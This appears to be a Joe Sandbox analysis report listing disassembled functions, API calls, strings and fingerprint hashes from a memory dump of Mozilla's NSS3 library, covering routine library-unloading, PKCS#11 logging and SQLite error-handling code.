API String ID: 3626836424-0
Opcode ID: 129a3566bf22c9da3bcf4f3782948a1ad1bd5a214963f465d2df9eee951956a6
Instruction ID: 61441e48d097ee44bbf4577e7b96e7c931ed3b31829fbdbf9b262ff5d479e034
Opcode Fuzzy Hash: 129a3566bf22c9da3bcf4f3782948a1ad1bd5a214963f465d2df9eee951956a6
Instruction Fuzzy Hash: FD51E1B1A042109BEB00CF29DD81B9BB7E8AF88318F058529ED59D7741F735E949CBD2

Function 6CBFAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBFAF47

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

FreeLibrary.KERNEL32(?), ref: 6CBFAF6D
free.MOZGLUE(?), ref: 6CBFAFA4
free.MOZGLUE(?), ref: 6CBFAFAA
PR_ExitMonitor.NSS3 ref: 6CBFAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CBFAFF5
PR_ExitMonitor.NSS3 ref: 6CBFB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBFB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CBFB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBFB03C

Strings

%s decr => %d, xrefs: 6CBFAFF0
Unloaded library %s, xrefs: 6CBFB023

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 3017f90a95355941d3b4430b37555f82a9103c8838920c3134d0acf685c734e9
Instruction ID: 47341f5db5cc010314636639b40584afcb0a0a509be1bc01f29a6d0426f7bbbc
Opcode Fuzzy Hash: 3017f90a95355941d3b4430b37555f82a9103c8838920c3134d0acf685c734e9
Instruction Fuzzy Hash: 9531D4B5B04151ABFF05AF65DC44A55B779EB0535CB184125E825CAB00F322E82ECBF2

Function 6CC46C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC4781D,00000000,6CC3BE2C,?,6CC46B1D,?,?,?,?,00000000,00000000,6CC4781D), ref: 6CC46C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC4781D,?,6CC3BE2C,?), ref: 6CC46C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC4781D), ref: 6CC46C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC46C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC46C96

Part of subcall function 6CBF1240: TlsGetValue.KERNEL32(00000040,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1267
Part of subcall function 6CBF1240: EnterCriticalSection.KERNEL32(?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF127C
Part of subcall function 6CBF1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1291
Part of subcall function 6CBF1240: PR_Unlock.NSS3(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC46CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6CC46C91
dbm, xrefs: 6CC46CA4
extern:, xrefs: 6CC46C7E
dbm:, xrefs: 6CC46C3A
sql:, xrefs: 6CC46C52
rdb:, xrefs: 6CC46C69

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 52cfedd5dfd3a18e9b4b1fc823f231cc789b6e9f93f0f4c08fd751fb680b5e1b
Instruction ID: 9bacb64ceab4fde59c57ec7ece736c46905b178c1ddca0db50fa38b655b5378a
Opcode Fuzzy Hash: 52cfedd5dfd3a18e9b4b1fc823f231cc789b6e9f93f0f4c08fd751fb680b5e1b
Instruction Fuzzy Hash: 1001A2E1B0271137F61037796C4AF66395D9F8155DF548432FF08E0A85FA92E518C1B5

Function 6CC54E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CC178F8), ref: 6CC54E6D

Part of subcall function 6CBF09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CBF06A2,00000000,?), ref: 6CBF09F8
Part of subcall function 6CBF09E0: malloc.MOZGLUE(0000001F), ref: 6CBF0A18
Part of subcall function 6CBF09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CBF0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CC178F8), ref: 6CC54ED9

Part of subcall function 6CC45920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CC47703,?,00000000,00000000), ref: 6CC45942
Part of subcall function 6CC45920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC47703), ref: 6CC45954
Part of subcall function 6CC45920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC4596A
Part of subcall function 6CC45920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC45984
Part of subcall function 6CC45920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CC45999
Part of subcall function 6CC45920: free.MOZGLUE(00000000), ref: 6CC459BA
Part of subcall function 6CC45920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CC459D3
Part of subcall function 6CC45920: free.MOZGLUE(00000000), ref: 6CC459F5
Part of subcall function 6CC45920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CC45A0A
Part of subcall function 6CC45920: free.MOZGLUE(00000000), ref: 6CC45A2E
Part of subcall function 6CC45920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CC45A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54EB3

Part of subcall function 6CC54820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC54EB8,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC5484C
Part of subcall function 6CC54820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC54EB8,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC5486D
Part of subcall function 6CC54820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CC54EB8,?), ref: 6CC54884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54EC0

Part of subcall function 6CC54470: TlsGetValue.KERNEL32(00000000,?,6CC17296,00000000), ref: 6CC54487
Part of subcall function 6CC54470: EnterCriticalSection.KERNEL32(?,?,?,6CC17296,00000000), ref: 6CC544A0
Part of subcall function 6CC54470: PR_Unlock.NSS3(?,?,?,?,6CC17296,00000000), ref: 6CC544BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F8F
PK11_UpdateSlotAttribute.NSS3(?,6CD2DCB0,00000000), ref: 6CC54FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CC5501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC5506B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: be8ba221365e3a3250a462514daeec8d4efc454326a79423ad7f490a7d28d9ec
Instruction ID: 8e7d1c92bbdc7f13045cb6f2c7a183e9e023cc9ab2d8f4cc2b7fe08c7df43b5c
Opcode Fuzzy Hash: be8ba221365e3a3250a462514daeec8d4efc454326a79423ad7f490a7d28d9ec
Instruction Fuzzy Hash: 575124B1D002029BEB019F25EC05AAA76B8FF5531CF544635EC0A86B11FB31E536CBA6

Function 6CBFACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBFACE2
malloc.MOZGLUE(00000001), ref: 6CBFACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBFAD02
TlsGetValue.KERNEL32 ref: 6CBFAD3C
calloc.MOZGLUE(00000001,?), ref: 6CBFAD8C
PR_Unlock.NSS3 ref: 6CBFADC0
free.MOZGLUE(00000000), ref: 6CBFAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBFAE58
free.MOZGLUE(00000000), ref: 6CBFAE69
free.MOZGLUE(?), ref: 6CBFAE78
PR_Unlock.NSS3 ref: 6CBFAE8C
free.MOZGLUE(?), ref: 6CBFAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBFAEC7

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 58e376894a0fbae94daf3db198984fbd1db5d2413d2a2ed7b69cc822b1ca4823
Instruction ID: 13ec6a43577274b5170822821261efb8b4ca12f0b7bba052820bb83c6656fb5e
Opcode Fuzzy Hash: 58e376894a0fbae94daf3db198984fbd1db5d2413d2a2ed7b69cc822b1ca4823
Instruction Fuzzy Hash: EF51B278E012668BEF04DF99DC456AE7778FB0A348F140125D925A3B10D331A95ACFF2

Function 6CC3ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CC3ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC3AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC3AE29

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC3AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CC3AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC3AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CC3AEA0

Strings

hKey = 0x%x, xrefs: 6CC3AE62, 6CC3AE72
(CK_INVALID_HANDLE), xrefs: 6CC3AE1F, 6CC3AE80
hSession = 0x%x, xrefs: 6CC3AE01, 6CC3AE11
C_MessageSignInit, xrefs: 6CC3ADE1

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 06a843fa54b427f5f9982f940609cecf7ae7090c239af687d4015009e6e45315
Instruction ID: 2cdb4ad7627d0443a628000ac2cf01d8d0dae0832382b54218005c8f1f919806
Opcode Fuzzy Hash: 06a843fa54b427f5f9982f940609cecf7ae7090c239af687d4015009e6e45315
Instruction Fuzzy Hash: C331D731605124AFEF01DB55EC88FBA3779AB8634DF444425E60D5BBA1E7389828CBA1

Function 6CC39EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CC39F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC39F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC39F49

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC39F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CC39F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC39FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CC39FC0

Strings

hKey = 0x%x, xrefs: 6CC39F82, 6CC39F92
(CK_INVALID_HANDLE), xrefs: 6CC39F3F, 6CC39FA0
hSession = 0x%x, xrefs: 6CC39F21, 6CC39F31
C_MessageEncryptInit, xrefs: 6CC39F01

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 139d467704a726e809bc2b9c9b49535d4095ff167657825da710a8ab65654c26
Instruction ID: a92f15c7c96964a8900127e785b800bba2c4117bbd0f5795f8a113cffd6e9ede
Opcode Fuzzy Hash: 139d467704a726e809bc2b9c9b49535d4095ff167657825da710a8ab65654c26
Instruction Fuzzy Hash: AF31F531605224AFEB01DF15EC88FBE3779AB4634DF044025F60D5BB61EB389808CBA2

Function 6CCD4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CCD4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCD4CFD
sqlite3_value_text16.NSS3(?), ref: 6CCD4D44

Strings

abort due to ROLLBACK, xrefs: 6CCD4D27, 6CCD4D33
invalid, xrefs: 6CCD4CF1
unknown error, xrefs: 6CCD4D56
another row available, xrefs: 6CCD4D20
bad parameter or other API misuse, xrefs: 6CCD4D05
API call with %s database connection pointer, xrefs: 6CCD4CF6
out of memory, xrefs: 6CCD4C78, 6CCD4C9E
no more rows available, xrefs: 6CCD4D2E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 1a41203b7c753db3cafd25ab004fe731e84b9078cc20134ee0522064137b942a
Instruction ID: bbc19a12c9c30963f236898628787451c1a8504320193d2cb89dd1f230f8ebb0
Opcode Fuzzy Hash: 1a41203b7c753db3cafd25ab004fe731e84b9078cc20134ee0522064137b942a
Instruction Fuzzy Hash: 80310472E088616BEB04CB29F8017A9B36677C3318F170565DB284BF64EB25B815C7E2

Function 6CC32DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CC32DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC32E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC32E33

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC32E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC32E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC32E81

Strings

ulPinLen = %d, xrefs: 6CC32E7C
C_InitPIN, xrefs: 6CC32DF1
(CK_INVALID_HANDLE), xrefs: 6CC32E2C
hSession = 0x%x, xrefs: 6CC32E0E, 6CC32E1E
pPin = 0x%p, xrefs: 6CC32E63

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: af149ccbf8030b717c2a790633620178d2181563d88a00e7f221634d33158f60
Instruction ID: c44dd66285386280c14bc95c8c87d7651e7058058585dcfca60465dd78a2a381
Opcode Fuzzy Hash: af149ccbf8030b717c2a790633620178d2181563d88a00e7f221634d33158f60
Instruction Fuzzy Hash: 0031C675605164ABEB00DB15EC5DB6A3779EB4235DF084025EA0D97BA2EB389808CBF1

Function 6CC36EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CC36F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC36F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC36F53

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC36F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CC36F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CC36FA1

Strings

pPart = 0x%p, xrefs: 6CC36F83
(CK_INVALID_HANDLE), xrefs: 6CC36F4C
ulPartLen = %d, xrefs: 6CC36F9C
hSession = 0x%x, xrefs: 6CC36F2E, 6CC36F3E
C_DigestUpdate, xrefs: 6CC36F11

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 62f189b389908124dd7d2e57a1036c19bef878fc37562be7bce0207f8a35bb6f
Instruction ID: fa526dee3ac251a15f008591055b07684c294d87b119a65f486a7dec0ffa4f10
Opcode Fuzzy Hash: 62f189b389908124dd7d2e57a1036c19bef878fc37562be7bce0207f8a35bb6f
Instruction Fuzzy Hash: B531C434605160AFFB00DB25EC48F6A77B9AB4635DF084025E60D97B21EB38A84CCBF1

Function 6CC37E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CC37E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC37E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC37E63

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC37E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CC37E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CC37EB1

Strings

pPart = 0x%p, xrefs: 6CC37E93
(CK_INVALID_HANDLE), xrefs: 6CC37E5C
ulPartLen = %d, xrefs: 6CC37EAC
hSession = 0x%x, xrefs: 6CC37E3E, 6CC37E4E
C_VerifyUpdate, xrefs: 6CC37E21

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: df105b0e38c78884d5f9772ac2125ad705875cb5034c66a28243e4f2b198b11b
Instruction ID: d88c7058d4c54c7e178330266c381f5975e1815f0f5f3e7c5e93e48103d6d4cd
Opcode Fuzzy Hash: df105b0e38c78884d5f9772ac2125ad705875cb5034c66a28243e4f2b198b11b
Instruction Fuzzy Hash: B731D734A05164EFEB00DB15ED48F6A37B9AB4235DF084025EA0D57B61EB389C08CBF1

Function 6CCD2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CCD2D9F

Part of subcall function 6CB8CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBEF9C9,?,6CBEF4DA,6CBEF9C9,?,?,6CBB369A), ref: 6CB8CA7A
Part of subcall function 6CB8CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB8CB26

sqlite3_exec.NSS3(?,?,6CCD2F70,?,?), ref: 6CCD2DF9
sqlite3_free.NSS3(00000000), ref: 6CCD2E2C
sqlite3_free.NSS3(?), ref: 6CCD2E3A
sqlite3_free.NSS3(?), ref: 6CCD2E52
sqlite3_mprintf.NSS3(6CD3AAF9,?), ref: 6CCD2E62
sqlite3_free.NSS3(?), ref: 6CCD2E70
sqlite3_free.NSS3(?), ref: 6CCD2E89
sqlite3_free.NSS3(?), ref: 6CCD2EBB
sqlite3_free.NSS3(?), ref: 6CCD2ECB
